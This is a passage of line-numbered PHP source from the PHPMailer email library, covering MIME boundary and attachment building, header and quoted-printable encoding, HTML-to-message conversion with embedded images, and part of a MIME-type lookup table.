9849 * @param string $encoding
9850 * @return string
9851 */
9852 protected function getBoundary($boundary, $charSet, $contentType, $encoding)
9853 {
9854 $result = '';
9855 if ($charSet == '') {
9856 $charSet = $this->CharSet;
9857 }
9858 if ($contentType == '') {
9859 $contentType = $this->ContentType;
9860 }
9861 if ($encoding == '') {
9862 $encoding = $this->Encoding;
9863 }
9864 $result .= $this->textLine('--' . $boundary);
9865 $result .= sprintf('Content-Type: %s; charset=%s', $contentType, $charSet);
9866 $result .= $this->LE;
9867 // RFC1341 part 5 says 7bit is assumed if not specified
9868 if ($encoding != '7bit') {
9869 $result .= $this->headerLine('Content-Transfer-Encoding', $encoding);
9870 }
9871 $result .= $this->LE;
9872
9873 return $result;
9874 }
9875
9876 /**
9877 * Return the end of a message boundary.
9878 * @access protected
9879 * @param string $boundary
9880 * @return string
9881 */
9882 protected function endBoundary($boundary)
9883 {
9884 return $this->LE . '--' . $boundary . '--' . $this->LE;
9885 }
9886
9887 /**
9888 * Set the message type.
9889 * PHPMailer only supports some preset message types,
9890 * not arbitrary MIME structures.
9891 * @access protected
9892 * @return void
9893 */
9894 protected function setMessageType()
9895 {
9896 $type = array();
9897 if ($this->alternativeExists()) {
9898 $type[] = 'alt';
9899 }
9900 if ($this->inlineImageExists()) {
9901 $type[] = 'inline';
9902 }
9903 if ($this->attachmentExists()) {
9904 $type[] = 'attach';
9905 }
9906 $this->message_type = implode('_', $type);
9907 if ($this->message_type == '') {
9908 $this->message_type = 'plain';
9909 }
9910 }
9911
9912 /**
9913 * Format a header line.
9914 * @access public
9915 * @param string $name
9916 * @param string $value
9917 * @return string
9918 */
9919 public function headerLine($name, $value)
9920 {
9921 return $name . ': ' . $value . $this->LE;
9922 }
9923
9924 /**
9925 * Return a formatted mail line.
9926 * @access public
9927 * @param string $value
9928 * @return string
9929 */
9930 public function textLine($value)
9931 {
9932 return $value . $this->LE;
9933 }
9934
9935 /**
9936 * Add an attachment from a path on the filesystem.
9937 * Returns false if the file could not be found or read.
9938 * @param string $path Path to the attachment.
9939 * @param string $name Overrides the attachment name.
9940 * @param string $encoding File encoding (see $Encoding).
9941 * @param string $type File extension (MIME) type.
9942 * @param string $disposition Disposition to use
9943 * @throws phpmailerException
9944 * @return boolean
9945 */
9946 public function addAttachment($path, $name = '', $encoding = 'base64', $type = '', $disposition = 'attachment')
9947 {
9948 try {
9949 if (!@is_file($path)) {
9950 throw new phpmailerException($this->lang('file_access') . $path, self::STOP_CONTINUE);
9951 }
9952
9953 // If a MIME type is not specified, try to work it out from the file name
9954 if ($type == '') {
9955 $type = self::filenameToType($path);
9956 }
9957
9958 $filename = basename($path);
9959 if ($name == '') {
9960 $name = $filename;
9961 }
9962
9963 $this->attachment[] = array(
9964 0 => $path,
9965 1 => $filename,
9966 2 => $name,
9967 3 => $encoding,
9968 4 => $type,
9969 5 => false, // isStringAttachment
9970 6 => $disposition,
9971 7 => 0
9972 );
9973
9974 } catch (phpmailerException $exc) {
9975 $this->setError($exc->getMessage());
9976 $this->edebug($exc->getMessage());
9977 if ($this->exceptions) {
9978 throw $exc;
9979 }
9980 return false;
9981 }
9982 return true;
9983 }
9984
9985 /**
9986 * Return the array of attachments.
9987 * @return array
9988 */
9989 public function getAttachments()
9990 {
9991 return $this->attachment;
9992 }
9993
9994 /**
9995 * Attach all file, string, and binary attachments to the message.
9996 * Returns an empty string on failure.
9997 * @access protected
9998 * @param string $disposition_type
9999 * @param string $boundary
10000 * @return string
10001 */
10002 protected function attachAll($disposition_type, $boundary)
10003 {
10004 // Return text of body
10005 $mime = array();
10006 $cidUniq = array();
10007 $incl = array();
10008
10009 // Add all attachments
10010 foreach ($this->attachment as $attachment) {
10011 // Check if it is a valid disposition_filter
10012 if ($attachment[6] == $disposition_type) {
10013 // Check for string attachment
10014 $string = '';
10015 $path = '';
10016 $bString = $attachment[5];
10017 if ($bString) {
10018 $string = $attachment[0];
10019 } else {
10020 $path = $attachment[0];
10021 }
10022
10023 $inclhash = md5(serialize($attachment));
10024 if (in_array($inclhash, $incl)) {
10025 continue;
10026 }
10027 $incl[] = $inclhash;
10028 $name = $attachment[2];
10029 $encoding = $attachment[3];
10030 $type = $attachment[4];
10031 $disposition = $attachment[6];
10032 $cid = $attachment[7];
10033 if ($disposition == 'inline' && isset($cidUniq[$cid])) {
10034 continue;
10035 }
10036 $cidUniq[$cid] = true;
10037
10038 $mime[] = sprintf('--%s%s', $boundary, $this->LE);
10039 $mime[] = sprintf(
10040 'Content-Type: %s; name="%s"%s',
10041 $type,
10042 $this->encodeHeader($this->secureHeader($name)),
10043 $this->LE
10044 );
10045 // RFC1341 part 5 says 7bit is assumed if not specified
10046 if ($encoding != '7bit') {
10047 $mime[] = sprintf('Content-Transfer-Encoding: %s%s', $encoding, $this->LE);
10048 }
10049
10050 if ($disposition == 'inline') {
10051 $mime[] = sprintf('Content-ID: <%s>%s', $cid, $this->LE);
10052 }
10053
10054 // If a filename contains any of these chars, it should be quoted,
10055 // but not otherwise: RFC2183 & RFC2045 5.1
10056 // Fixes a warning in IETF's msglint MIME checker
10057 // Allow for bypassing the Content-Disposition header totally
10058 if (!(empty($disposition))) {
10059 $encoded_name = $this->encodeHeader($this->secureHeader($name));
10060 if (preg_match('/[ \(\)<>@,;:\\"\/\[\]\?=]/', $encoded_name)) {
10061 $mime[] = sprintf(
10062 'Content-Disposition: %s; filename="%s"%s',
10063 $disposition,
10064 $encoded_name,
10065 $this->LE . $this->LE
10066 );
10067 } else {
10068 $mime[] = sprintf(
10069 'Content-Disposition: %s; filename=%s%s',
10070 $disposition,
10071 $encoded_name,
10072 $this->LE . $this->LE
10073 );
10074 }
10075 } else {
10076 $mime[] = $this->LE;
10077 }
10078
10079 // Encode as string attachment
10080 if ($bString) {
10081 $mime[] = $this->encodeString($string, $encoding);
10082 if ($this->isError()) {
10083 return '';
10084 }
10085 $mime[] = $this->LE . $this->LE;
10086 } else {
10087 $mime[] = $this->encodeFile($path, $encoding);
10088 if ($this->isError()) {
10089 return '';
10090 }
10091 $mime[] = $this->LE . $this->LE;
10092 }
10093 }
10094 }
10095
10096 $mime[] = sprintf('--%s--%s', $boundary, $this->LE);
10097
10098 return implode('', $mime);
10099 }
10100
10101 /**
10102 * Encode a file attachment in requested format.
10103 * Returns an empty string on failure.
10104 * @param string $path The full path to the file
10105 * @param string $encoding The encoding to use; one of 'base64', '7bit', '8bit', 'binary', 'quoted-printable'
10106 * @throws phpmailerException
10107 * @see EncodeFile(encodeFile
10108 * @access protected
10109 * @return string
10110 */
10111 protected function encodeFile($path, $encoding = 'base64')
10112 {
10113 try {
10114 if (!is_readable($path)) {
10115 throw new phpmailerException($this->lang('file_open') . $path, self::STOP_CONTINUE);
10116 }
10117 $magic_quotes = get_magic_quotes_runtime();
10118 if ($magic_quotes) {
10119 if (version_compare(PHP_VERSION, '5.3.0', '<')) {
10120 set_magic_quotes_runtime(false);
10121 } else {
10122 //Doesn't exist in PHP 5.4, but we don't need to check because
10123 //get_magic_quotes_runtime always returns false in 5.4+
10124 //so it will never get here
10125 ini_set('magic_quotes_runtime', 0);
10126 }
10127 }
10128 $file_buffer = file_get_contents($path);
10129 $file_buffer = $this->encodeString($file_buffer, $encoding);
10130 if ($magic_quotes) {
10131 if (version_compare(PHP_VERSION, '5.3.0', '<')) {
10132 set_magic_quotes_runtime($magic_quotes);
10133 } else {
10134 ini_set('magic_quotes_runtime', ($magic_quotes?'1':'0'));
10135 }
10136 }
10137 return $file_buffer;
10138 } catch (Exception $exc) {
10139 $this->setError($exc->getMessage());
10140 return '';
10141 }
10142 }
10143
10144 /**
10145 * Encode a string in requested format.
10146 * Returns an empty string on failure.
10147 * @param string $str The text to encode
10148 * @param string $encoding The encoding to use; one of 'base64', '7bit', '8bit', 'binary', 'quoted-printable'
10149 * @access public
10150 * @return string
10151 */
10152 public function encodeString($str, $encoding = 'base64')
10153 {
10154 $encoded = '';
10155 switch (strtolower($encoding)) {
10156 case 'base64':
10157 $encoded = chunk_split(base64_encode($str), 76, $this->LE);
10158 break;
10159 case '7bit':
10160 case '8bit':
10161 $encoded = $this->fixEOL($str);
10162 // Make sure it ends with a line break
10163 if (substr($encoded, -(strlen($this->LE))) != $this->LE) {
10164 $encoded .= $this->LE;
10165 }
10166 break;
10167 case 'binary':
10168 $encoded = $str;
10169 break;
10170 case 'quoted-printable':
10171 $encoded = $this->encodeQP($str);
10172 break;
10173 default:
10174 $this->setError($this->lang('encoding') . $encoding);
10175 break;
10176 }
10177 return $encoded;
10178 }
10179
10180 /**
10181 * Encode a header string optimally.
10182 * Picks shortest of Q, B, quoted-printable or none.
10183 * @access public
10184 * @param string $str
10185 * @param string $position
10186 * @return string
10187 */
10188 public function encodeHeader($str, $position = 'text')
10189 {
10190 $matchcount = 0;
10191 switch (strtolower($position)) {
10192 case 'phrase':
10193 if (!preg_match('/[\200-\377]/', $str)) {
10194 // Can't use addslashes as we don't know the value of magic_quotes_sybase
10195 $encoded = addcslashes($str, "\0..\37\177\\\"");
10196 if (($str == $encoded) && !preg_match('/[^A-Za-z0-9!#$%&\'*+\/=?^_`{|}~ -]/', $str)) {
10197 return ($encoded);
10198 } else {
10199 return ("\"$encoded\"");
10200 }
10201 }
10202 $matchcount = preg_match_all('/[^\040\041\043-\133\135-\176]/', $str, $matches);
10203 break;
10204 /** @noinspection PhpMissingBreakStatementInspection */
10205 case 'comment':
10206 $matchcount = preg_match_all('/[()"]/', $str, $matches);
10207 // Intentional fall-through
10208 case 'text':
10209 default:
10210 $matchcount += preg_match_all('/[\000-\010\013\014\016-\037\177-\377]/', $str, $matches);
10211 break;
10212 }
10213
10214 if ($matchcount == 0) { // There are no chars that need encoding
10215 return ($str);
10216 }
10217
10218 $maxlen = 75 - 7 - strlen($this->CharSet);
10219 // Try to select the encoding which should produce the shortest output
10220 if ($matchcount > strlen($str) / 3) {
10221 // More than a third of the content will need encoding, so B encoding will be most efficient
10222 $encoding = 'B';
10223 if (function_exists('mb_strlen') && $this->hasMultiBytes($str)) {
10224 // Use a custom function which correctly encodes and wraps long
10225 // multibyte strings without breaking lines within a character
10226 $encoded = $this->base64EncodeWrapMB($str, "\n");
10227 } else {
10228 $encoded = base64_encode($str);
10229 $maxlen -= $maxlen % 4;
10230 $encoded = trim(chunk_split($encoded, $maxlen, "\n"));
10231 }
10232 } else {
10233 $encoding = 'Q';
10234 $encoded = $this->encodeQ($str, $position);
10235 $encoded = $this->wrapText($encoded, $maxlen, true);
10236 $encoded = str_replace('=' . self::CRLF, "\n", trim($encoded));
10237 }
10238
10239 $encoded = preg_replace('/^(.*)$/m', ' =?' . $this->CharSet . "?$encoding?\\1?=", $encoded);
10240 $encoded = trim(str_replace("\n", $this->LE, $encoded));
10241
10242 return $encoded;
10243 }
10244
10245 /**
10246 * Check if a string contains multi-byte characters.
10247 * @access public
10248 * @param string $str multi-byte text to wrap encode
10249 * @return boolean
10250 */
10251 public function hasMultiBytes($str)
10252 {
10253 if (function_exists('mb_strlen')) {
10254 return (strlen($str) > mb_strlen($str, $this->CharSet));
10255 } else { // Assume no multibytes (we can't handle without mbstring functions anyway)
10256 return false;
10257 }
10258 }
10259
10260 /**
10261 * Does a string contain any 8-bit chars (in any charset)?
10262 * @param string $text
10263 * @return boolean
10264 */
10265 public function has8bitChars($text)
10266 {
10267 return (boolean)preg_match('/[\x80-\xFF]/', $text);
10268 }
10269
10270 /**
10271 * Encode and wrap long multibyte strings for mail headers
10272 * without breaking lines within a character.
10273 * Adapted from a function by paravoid
10274 * @link http://www.php.net/manual/en/function.mb-encode-mimeheader.php#60283
10275 * @access public
10276 * @param string $str multi-byte text to wrap encode
10277 * @param string $linebreak string to use as linefeed/end-of-line
10278 * @return string
10279 */
10280 public function base64EncodeWrapMB($str, $linebreak = null)
10281 {
10282 $start = '=?' . $this->CharSet . '?B?';
10283 $end = '?=';
10284 $encoded = '';
10285 if ($linebreak === null) {
10286 $linebreak = $this->LE;
10287 }
10288
10289 $mb_length = mb_strlen($str, $this->CharSet);
10290 // Each line must have length <= 75, including $start and $end
10291 $length = 75 - strlen($start) - strlen($end);
10292 // Average multi-byte ratio
10293 $ratio = $mb_length / strlen($str);
10294 // Base64 has a 4:3 ratio
10295 $avgLength = floor($length * $ratio * .75);
10296
10297 for ($i = 0; $i < $mb_length; $i += $offset) {
10298 $lookBack = 0;
10299 do {
10300 $offset = $avgLength - $lookBack;
10301 $chunk = mb_substr($str, $i, $offset, $this->CharSet);
10302 $chunk = base64_encode($chunk);
10303 $lookBack++;
10304 } while (strlen($chunk) > $length);
10305 $encoded .= $chunk . $linebreak;
10306 }
10307
10308 // Chomp the last linefeed
10309 $encoded = substr($encoded, 0, -strlen($linebreak));
10310 return $encoded;
10311 }
10312
10313 /**
10314 * Encode a string in quoted-printable format.
10315 * According to RFC2045 section 6.7.
10316 * @access public
10317 * @param string $string The text to encode
10318 * @param integer $line_max Number of chars allowed on a line before wrapping
10319 * @return string
10320 * @link http://www.php.net/manual/en/function.quoted-printable-decode.php#89417 Adapted from this comment
10321 */
10322 public function encodeQP($string, $line_max = 76)
10323 {
10324 if (function_exists('quoted_printable_encode')) { // Use native function if it's available (>= PHP5.3)
10325 return $this->fixEOL(quoted_printable_encode($string));
10326 }
10327 // Fall back to a pure PHP implementation
10328 $string = str_replace(
10329 array('%20', '%0D%0A.', '%0D%0A', '%'),
10330 array(' ', "\r\n=2E", "\r\n", '='),
10331 rawurlencode($string)
10332 );
10333 $string = preg_replace('/[^\r\n]{' . ($line_max - 3) . '}[^=\r\n]{2}/', "$0=\r\n", $string);
10334 return $this->fixEOL($string);
10335 }
10336
10337 /**
10338 * Backward compatibility wrapper for an old QP encoding function that was removed.
10339 * @see PHPMailer::encodeQP()
10340 * @access public
10341 * @param string $string
10342 * @param integer $line_max
10343 * @param boolean $space_conv
10344 * @return string
10345 * @deprecated Use encodeQP instead.
10346 */
10347 public function encodeQPphp(
10348 $string,
10349 $line_max = 76,
10350 /** @noinspection PhpUnusedParameterInspection */ $space_conv = false
10351 ) {
10352 return $this->encodeQP($string, $line_max);
10353 }
10354
10355 /**
10356 * Encode a string using Q encoding.
10357 * @link http://tools.ietf.org/html/rfc2047
10358 * @param string $str the text to encode
10359 * @param string $position Where the text is going to be used, see the RFC for what that means
10360 * @access public
10361 * @return string
10362 */
10363 public function encodeQ($str, $position = 'text')
10364 {
10365 // There should not be any EOL in the string
10366 $pattern = '';
10367 $encoded = str_replace(array("\r", "\n"), '', $str);
10368 switch (strtolower($position)) {
10369 case 'phrase':
10370 // RFC 2047 section 5.3
10371 $pattern = '^A-Za-z0-9!*+\/ -';
10372 break;
10373 /** @noinspection PhpMissingBreakStatementInspection */
10374 case 'comment':
10375 // RFC 2047 section 5.2
10376 $pattern = '\(\)"';
10377 // intentional fall-through
10378 // for this reason we build the $pattern without including delimiters and []
10379 case 'text':
10380 default:
10381 // RFC 2047 section 5.1
10382 // Replace every high ascii, control, =, ? and _ characters
10383 $pattern = '\000-\011\013\014\016-\037\075\077\137\177-\377' . $pattern;
10384 break;
10385 }
10386 $matches = array();
10387 if (preg_match_all("/[{$pattern}]/", $encoded, $matches)) {
10388 // If the string contains an '=', make sure it's the first thing we replace
10389 // so as to avoid double-encoding
10390 $eqkey = array_search('=', $matches[0]);
10391 if (false !== $eqkey) {
10392 unset($matches[0][$eqkey]);
10393 array_unshift($matches[0], '=');
10394 }
10395 foreach (array_unique($matches[0]) as $char) {
10396 $encoded = str_replace($char, '=' . sprintf('%02X', ord($char)), $encoded);
10397 }
10398 }
10399 // Replace every spaces to _ (more readable than =20)
10400 return str_replace(' ', '_', $encoded);
10401 }
10402
10403
10404 /**
10405 * Add a string or binary attachment (non-filesystem).
10406 * This method can be used to attach ascii or binary data,
10407 * such as a BLOB record from a database.
10408 * @param string $string String attachment data.
10409 * @param string $filename Name of the attachment.
10410 * @param string $encoding File encoding (see $Encoding).
10411 * @param string $type File extension (MIME) type.
10412 * @param string $disposition Disposition to use
10413 * @return void
10414 */
10415 public function addStringAttachment(
10416 $string,
10417 $filename,
10418 $encoding = 'base64',
10419 $type = '',
10420 $disposition = 'attachment'
10421 ) {
10422 // If a MIME type is not specified, try to work it out from the file name
10423 if ($type == '') {
10424 $type = self::filenameToType($filename);
10425 }
10426 // Append to $attachment array
10427 $this->attachment[] = array(
10428 0 => $string,
10429 1 => $filename,
10430 2 => basename($filename),
10431 3 => $encoding,
10432 4 => $type,
10433 5 => true, // isStringAttachment
10434 6 => $disposition,
10435 7 => 0
10436 );
10437 }
10438
10439 /**
10440 * Add an embedded (inline) attachment from a file.
10441 * This can include images, sounds, and just about any other document type.
10442 * These differ from 'regular' attachments in that they are intended to be
10443 * displayed inline with the message, not just attached for download.
10444 * This is used in HTML messages that embed the images
10445 * the HTML refers to using the $cid value.
10446 * @param string $path Path to the attachment.
10447 * @param string $cid Content ID of the attachment; Use this to reference
10448 * the content when using an embedded image in HTML.
10449 * @param string $name Overrides the attachment name.
10450 * @param string $encoding File encoding (see $Encoding).
10451 * @param string $type File MIME type.
10452 * @param string $disposition Disposition to use
10453 * @return boolean True on successfully adding an attachment
10454 */
10455 public function addEmbeddedImage($path, $cid, $name = '', $encoding = 'base64', $type = '', $disposition = 'inline')
10456 {
10457 if (!@is_file($path)) {
10458 $this->setError($this->lang('file_access') . $path);
10459 return false;
10460 }
10461
10462 // If a MIME type is not specified, try to work it out from the file name
10463 if ($type == '') {
10464 $type = self::filenameToType($path);
10465 }
10466
10467 $filename = basename($path);
10468 if ($name == '') {
10469 $name = $filename;
10470 }
10471
10472 // Append to $attachment array
10473 $this->attachment[] = array(
10474 0 => $path,
10475 1 => $filename,
10476 2 => $name,
10477 3 => $encoding,
10478 4 => $type,
10479 5 => false, // isStringAttachment
10480 6 => $disposition,
10481 7 => $cid
10482 );
10483 return true;
10484 }
10485
10486 /**
10487 * Add an embedded stringified attachment.
10488 * This can include images, sounds, and just about any other document type.
10489 * Be sure to set the $type to an image type for images:
10490 * JPEG images use 'image/jpeg', GIF uses 'image/gif', PNG uses 'image/png'.
10491 * @param string $string The attachment binary data.
10492 * @param string $cid Content ID of the attachment; Use this to reference
10493 * the content when using an embedded image in HTML.
10494 * @param string $name
10495 * @param string $encoding File encoding (see $Encoding).
10496 * @param string $type MIME type.
10497 * @param string $disposition Disposition to use
10498 * @return boolean True on successfully adding an attachment
10499 */
10500 public function addStringEmbeddedImage(
10501 $string,
10502 $cid,
10503 $name = '',
10504 $encoding = 'base64',
10505 $type = '',
10506 $disposition = 'inline'
10507 ) {
10508 // If a MIME type is not specified, try to work it out from the name
10509 if ($type == '') {
10510 $type = self::filenameToType($name);
10511 }
10512
10513 // Append to $attachment array
10514 $this->attachment[] = array(
10515 0 => $string,
10516 1 => $name,
10517 2 => $name,
10518 3 => $encoding,
10519 4 => $type,
10520 5 => true, // isStringAttachment
10521 6 => $disposition,
10522 7 => $cid
10523 );
10524 return true;
10525 }
10526
10527 /**
10528 * Check if an inline attachment is present.
10529 * @access public
10530 * @return boolean
10531 */
10532 public function inlineImageExists()
10533 {
10534 foreach ($this->attachment as $attachment) {
10535 if ($attachment[6] == 'inline') {
10536 return true;
10537 }
10538 }
10539 return false;
10540 }
10541
10542 /**
10543 * Check if an attachment (non-inline) is present.
10544 * @return boolean
10545 */
10546 public function attachmentExists()
10547 {
10548 foreach ($this->attachment as $attachment) {
10549 if ($attachment[6] == 'attachment') {
10550 return true;
10551 }
10552 }
10553 return false;
10554 }
10555
10556 /**
10557 * Check if this message has an alternative body set.
10558 * @return boolean
10559 */
10560 public function alternativeExists()
10561 {
10562 return !empty($this->AltBody);
10563 }
10564
10565 /**
10566 * Clear all To recipients.
10567 * @return void
10568 */
10569 public function clearAddresses()
10570 {
10571 foreach ($this->to as $to) {
10572 unset($this->all_recipients[strtolower($to[0])]);
10573 }
10574 $this->to = array();
10575 }
10576
10577 /**
10578 * Clear all CC recipients.
10579 * @return void
10580 */
10581 public function clearCCs()
10582 {
10583 foreach ($this->cc as $cc) {
10584 unset($this->all_recipients[strtolower($cc[0])]);
10585 }
10586 $this->cc = array();
10587 }
10588
10589 /**
10590 * Clear all BCC recipients.
10591 * @return void
10592 */
10593 public function clearBCCs()
10594 {
10595 foreach ($this->bcc as $bcc) {
10596 unset($this->all_recipients[strtolower($bcc[0])]);
10597 }
10598 $this->bcc = array();
10599 }
10600
10601 /**
10602 * Clear all ReplyTo recipients.
10603 * @return void
10604 */
10605 public function clearReplyTos()
10606 {
10607 $this->ReplyTo = array();
10608 }
10609
10610 /**
10611 * Clear all recipient types.
10612 * @return void
10613 */
10614 public function clearAllRecipients()
10615 {
10616 $this->to = array();
10617 $this->cc = array();
10618 $this->bcc = array();
10619 $this->all_recipients = array();
10620 }
10621
10622 /**
10623 * Clear all filesystem, string, and binary attachments.
10624 * @return void
10625 */
10626 public function clearAttachments()
10627 {
10628 $this->attachment = array();
10629 }
10630
10631 /**
10632 * Clear all custom headers.
10633 * @return void
10634 */
10635 public function clearCustomHeaders()
10636 {
10637 $this->CustomHeader = array();
10638 }
10639
10640 /**
10641 * Add an error message to the error container.
10642 * @access protected
10643 * @param string $msg
10644 * @return void
10645 */
10646 protected function setError($msg)
10647 {
10648 $this->error_count++;
10649 if ($this->Mailer == 'smtp' and !is_null($this->smtp)) {
10650 $lasterror = $this->smtp->getError();
10651 if (!empty($lasterror) and array_key_exists('smtp_msg', $lasterror)) {
10652 $msg .= '<p>' . $this->lang('smtp_error') . $lasterror['smtp_msg'] . "</p>\n";
10653 }
10654 }
10655 $this->ErrorInfo = $msg;
10656 }
10657
10658 /**
10659 * Return an RFC 822 formatted date.
10660 * @access public
10661 * @return string
10662 * @static
10663 */
10664 public static function rfcDate()
10665 {
10666 // Set the time zone to whatever the default is to avoid 500 errors
10667 // Will default to UTC if it's not set properly in php.ini
10668 date_default_timezone_set(@date_default_timezone_get());
10669 return date('D, j M Y H:i:s O');
10670 }
10671
10672 /**
10673 * Get the server hostname.
10674 * Returns 'localhost.localdomain' if unknown.
10675 * @access protected
10676 * @return string
10677 */
10678 protected function serverHostname()
10679 {
10680 $result = 'localhost.localdomain';
10681 if (!empty($this->Hostname)) {
10682 $result = $this->Hostname;
10683 } elseif (isset($_SERVER) and array_key_exists('SERVER_NAME', $_SERVER) and !empty($_SERVER['SERVER_NAME'])) {
10684 $result = $_SERVER['SERVER_NAME'];
10685 } elseif (function_exists('gethostname') && gethostname() !== false) {
10686 $result = gethostname();
10687 } elseif (php_uname('n') !== false) {
10688 $result = php_uname('n');
10689 }
10690 return $result;
10691 }
10692
10693 /**
10694 * Get an error message in the current language.
10695 * @access protected
10696 * @param string $key
10697 * @return string
10698 */
10699 protected function lang($key)
10700 {
10701 if (count($this->language) < 1) {
10702 $this->setLanguage('en'); // set the default language
10703 }
10704
10705 if (isset($this->language[$key])) {
10706 return $this->language[$key];
10707 } else {
10708 return 'Language string failed to load: ' . $key;
10709 }
10710 }
10711
10712 /**
10713 * Check if an error occurred.
10714 * @access public
10715 * @return boolean True if an error did occur.
10716 */
10717 public function isError()
10718 {
10719 return ($this->error_count > 0);
10720 }
10721
10722 /**
10723 * Ensure consistent line endings in a string.
10724 * Changes every end of line from CRLF, CR or LF to $this->LE.
10725 * @access public
10726 * @param string $str String to fixEOL
10727 * @return string
10728 */
10729 public function fixEOL($str)
10730 {
10731 // Normalise to \n
10732 $nstr = str_replace(array("\r\n", "\r"), "\n", $str);
10733 // Now convert LE as needed
10734 if ($this->LE !== "\n") {
10735 $nstr = str_replace("\n", $this->LE, $nstr);
10736 }
10737 return $nstr;
10738 }
10739
10740 /**
10741 * Add a custom header.
10742 * $name value can be overloaded to contain
10743 * both header name and value (name:value)
10744 * @access public
10745 * @param string $name Custom header name
10746 * @param string $value Header value
10747 * @return void
10748 */
10749 public function addCustomHeader($name, $value = null)
10750 {
10751 if ($value === null) {
10752 // Value passed in as name:value
10753 $this->CustomHeader[] = explode(':', $name, 2);
10754 } else {
10755 $this->CustomHeader[] = array($name, $value);
10756 }
10757 }
10758
10759 /**
10760 * Create a message from an HTML string.
10761 * Automatically makes modifications for inline images and backgrounds
10762 * and creates a plain-text version by converting the HTML.
10763 * Overwrites any existing values in $this->Body and $this->AltBody
10764 * @access public
10765 * @param string $message HTML message string
10766 * @param string $basedir baseline directory for path
10767 * @param boolean|callable $advanced Whether to use the internal HTML to text converter
10768 * or your own custom converter @see html2text()
10769 * @return string $message
10770 */
10771 public function msgHTML($message, $basedir = '', $advanced = false)
10772 {
10773 preg_match_all('/(src|background)=["\'](.*)["\']/Ui', $message, $images);
10774 if (isset($images[2])) {
10775 foreach ($images[2] as $imgindex => $url) {
10776 // Convert data URIs into embedded images
10777 if (preg_match('#^data:(image[^;,]*)(;base64)?,#', $url, $match)) {
10778 $data = substr($url, strpos($url, ','));
10779 if ($match[2]) {
10780 $data = base64_decode($data);
10781 } else {
10782 $data = rawurldecode($data);
10783 }
10784 $cid = md5($url) . '@phpmailer.0'; // RFC2392 S 2
10785 if ($this->addStringEmbeddedImage($data, $cid, '', 'base64', $match[1])) {
10786 $message = str_replace(
10787 $images[0][$imgindex],
10788 $images[1][$imgindex] . '="cid:' . $cid . '"',
10789 $message
10790 );
10791 }
10792 } elseif (!preg_match('#^[A-z]+://#', $url)) {
10793 // Do not change urls for absolute images (thanks to corvuscorax)
10794 $filename = basename($url);
10795 $directory = dirname($url);
10796 if ($directory == '.') {
10797 $directory = '';
10798 }
10799 $cid = md5($url) . '@phpmailer.0'; // RFC2392 S 2
10800 if (strlen($basedir) > 1 && substr($basedir, -1) != '/') {
10801 $basedir .= '/';
10802 }
10803 if (strlen($directory) > 1 && substr($directory, -1) != '/') {
10804 $directory .= '/';
10805 }
10806 if ($this->addEmbeddedImage(
10807 $basedir . $directory . $filename,
10808 $cid,
10809 $filename,
10810 'base64',
10811 self::_mime_types((string)self::mb_pathinfo($filename, PATHINFO_EXTENSION))
10812 )
10813 ) {
10814 $message = preg_replace(
10815 '/' . $images[1][$imgindex] . '=["\']' . preg_quote($url, '/') . '["\']/Ui',
10816 $images[1][$imgindex] . '="cid:' . $cid . '"',
10817 $message
10818 );
10819 }
10820 }
10821 }
10822 }
10823 $this->isHTML(true);
10824 // Convert all message body line breaks to CRLF, makes quoted-printable encoding work much better
10825 $this->Body = $this->normalizeBreaks($message);
10826 $this->AltBody = $this->normalizeBreaks($this->html2text($message, $advanced));
10827 if (empty($this->AltBody)) {
10828 $this->AltBody = 'To view this email message, open it in a program that understands HTML!' .
10829 self::CRLF . self::CRLF;
10830 }
10831 return $this->Body;
10832 }
10833
10834 /**
10835 * Convert an HTML string into plain text.
10836 * This is used by msgHTML().
10837 * Note - older versions of this function used a bundled advanced converter
10838 * which was been removed for license reasons in #232
10839 * Example usage:
10840 * <code>
10841 * // Use default conversion
10842 * $plain = $mail->html2text($html);
10843 * // Use your own custom converter
10844 * $plain = $mail->html2text($html, function($html) {
10845 * $converter = new MyHtml2text($html);
10846 * return $converter->get_text();
10847 * });
10848 * </code>
10849 * @param string $html The HTML text to convert
10850 * @param boolean|callable $advanced Any boolean value to use the internal converter,
10851 * or provide your own callable for custom conversion.
10852 * @return string
10853 */
10854 public function html2text($html, $advanced = false)
10855 {
10856 if (is_callable($advanced)) {
10857 return call_user_func($advanced, $html);
10858 }
10859 return html_entity_decode(
10860 trim(strip_tags(preg_replace('/<(head|title|style|script)[^>]*>.*?<\/\\1>/si', '', $html))),
10861 ENT_QUOTES,
10862 $this->CharSet
10863 );
10864 }
10865
10866 /**
10867 * Get the MIME type for a file extension.
10868 * @param string $ext File extension
10869 * @access public
10870 * @return string MIME type of file.
10871 * @static
10872 */
10873 public static function _mime_types($ext = '')
10874 {
10875 $mimes = array(
10876 'xl' => 'application/excel',
10877 'js' => 'application/javascript',
10878 'hqx' => 'application/mac-binhex40',
10879 'cpt' => 'application/mac-compactpro',
10880 'bin' => 'application/macbinary',
10881 'doc' => 'application/msword',
10882 'word' => 'application/msword',
10883 'class' => 'application/octet-stream',
10884 'dll' => 'application/octet-stream',
10885 'dms' => 'application/octet-stream',
10886 'exe' => 'application/octet-stream',
10887 'lha' => 'application/octet-stream',
10888 'lzh' => 'application/octet-stream',
10889 'psd' => 'application/octet-stream',
10890 'sea' => 'application/octet-stream',
10891 'so' => 'application/octet-stream',
10892 'oda' => 'application/oda',
10893 'pdf' => 'application/pdf',
10894 'ai' => 'application/postscript',
10895 'eps' => 'application/postscript',
10896 'ps' => 'application/postscript',
10897 'smi' => 'application/smil',
10898 'smil' => 'application/smil',
10899 'mif' => 'application/vnd.mif',
10900 'xls' => 'application/vnd.ms-excel',
10901 'ppt' => 'application/vnd.ms-powerpoint',
10902 'wbxml' => 'application/vnd.wap.wbxml',
10903 'wmlc' => 'application/vnd.wap.wmlc',
10904 'dcr' => 'application/x-director',
10905 'dir' => 'application/x-director',
10906 'dxr' => 'application/x-director',
10907 'dvi' => 'application/x-dvi',
10908 'gtar' => 'application/x-gtar',
10909 'php3' => 'application/x-httpd-php',
10910 'php4' => 'application/x-httpd-php',
10911 'php' => 'application/x-httpd-php',
10912 'phtml' => 'application/x-httpd-php',
10913 'phps' => 'application/x-httpd-php-source',
10914 'swf' => 'application/x-shockwave-flash',
10915 'sit' => 'application/x-stuffit',
10916 'tar' => 'application/x-tar',
10917 'tgz' => 'application/x-tar',
10918 'xht' => 'application/xhtml+xml',
10919 'xhtml' => 'application/xhtml+xml',
10920 'zip' => 'application/zip',
10921 'mid' => 'audio/midi',
10922 'midi' => 'audio/midi',
10923 'mp2' => 'audio/mpeg',
10924 'mp3' => 'audio/mpeg',
10925 'mpga' => 'audio/mpeg',
10926 'aif' => 'audio/x-aiff',
